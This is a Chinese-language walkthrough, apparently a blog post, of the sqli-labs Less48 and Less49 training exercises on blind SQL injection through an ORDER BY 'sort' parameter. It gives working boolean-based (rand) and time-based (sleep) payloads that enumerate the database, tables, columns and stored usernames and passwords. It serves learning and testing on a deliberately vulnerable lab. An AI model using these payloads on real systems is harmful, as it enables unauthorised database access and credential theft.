目录
一、推荐:
二、(手工)SQL注入基本步骤:
三、Less48(GET-Error based -Blind - Numeric - ORDER BY CLAUSE)
3.1、简介:(order by注入-盲注-POST注入)
3.1、第一步:注入点测试
3.3、第二步:分析过滤
3.4、第三步:判断字段数/回显位
3.5、第四步:暴库
3.6、第五步:爆表名
3.7、第六步:爆字段
3.9、第八步:爆数据
四、Less49(GET-Error based - String - Blind ORDER BY CLAUSE)
4.1、简介:(order by注入-盲注-POST注入)
4.2、利用:
二、(手工)SQL注入基本步骤:
第一步:注入点测试
第二步:分析权限
第三步:判断字段数
第四步:爆数据库名
第五步:爆表名
第六步:爆字段名
第七步:爆数据
三、Less48(GET-Error based -Blind - Numeric - ORDER BY CLAUSE)
3.1、简介:(order by注入-盲注-GET注入)
请求方法:GET
方法:order by注入+盲注+数字型注入
3.1、第一步:注入点测试
按照提示输入?sort=1
输入'
页面不正常,说明存在注入点
没有报错,可以采取盲注(布尔盲注、时间盲注)
?sort=rand(true)
?sort=rand(false)
可以采取布尔盲注
3.3、第二步:分析过滤
方法一:
考虑一步一步将注入语句字符一个一个替换掉,直到不报错(浪费时间)
或者全部替换(如果报错,不知道哪里被过滤了)
方法二:
获取源码进行白盒审计(最优)
3.4、第三步:判断字段数/回显位
?sort=3
回显正常
?sort=4
报错
说明有3个字段
3.5、第四步:暴库
?sort=rand(left(database(),1)>'s')
得到的结果与rand(false)相同
说明这个条件错误
最后推出
?sort=rand(left(database(),1)='s')
与rand(true)结果相同
说明条件正确
得到第一个字符是s
以此类推得到security
(通过改变判断的位置)
或者(时间盲注)
?sort=1 and if(substr(database(),1,1)='s',sleep(5),0)
3.6、第五步:爆表名
?sort=rand(left((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)>'e')
得到的结果与rand(false)相同
说明这个条件错误
?sort=rand(left((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)='e')
与rand(ture)返回相同
说明条件正确
分别挨个推出表
emails referers uagents users
或者(时间盲注)
?sort=1 and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),0)
3.7、第六步:爆字段
?sort=rand(left((select group_concat(column_name) from information_schema.columns where table_name='users'),1)>'u')
得到的结果与rand(false)相同
说明这个条件错误
?sort=rand(left((select group_concat(column_name) from information_schema.columns where table_name='users'),1)='u')
与rand(ture)返回相同
说明条件正确
依此类推得到字段
或者(时间盲注)
?sort=1 and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u',sleep(5),0)
3.9、第八步:爆数据
?sort=rand(left((select group_concat(password) from security.users),1)>'1')
得到的结果与rand(false)相同
说明这个条件错误
?sort=rand(left((select group_concat(password) from security.users),1)='1')
与rand(ture)返回相同
说明条件正确
或者(时间盲注)
?sort=1 and if(substr((select group_concat(username,password) from security.users limit 0,1),1,1)='d',sleep(5),0)
四、Less49(GET-Error based - String - Blind ORDER BY CLAUSE)
4.1、简介:(order by注入-盲注-GET注入)
请求方法:GET
方法:order by注入+盲注+字符型注入
4.2、利用:
与Less48相比
需要闭合'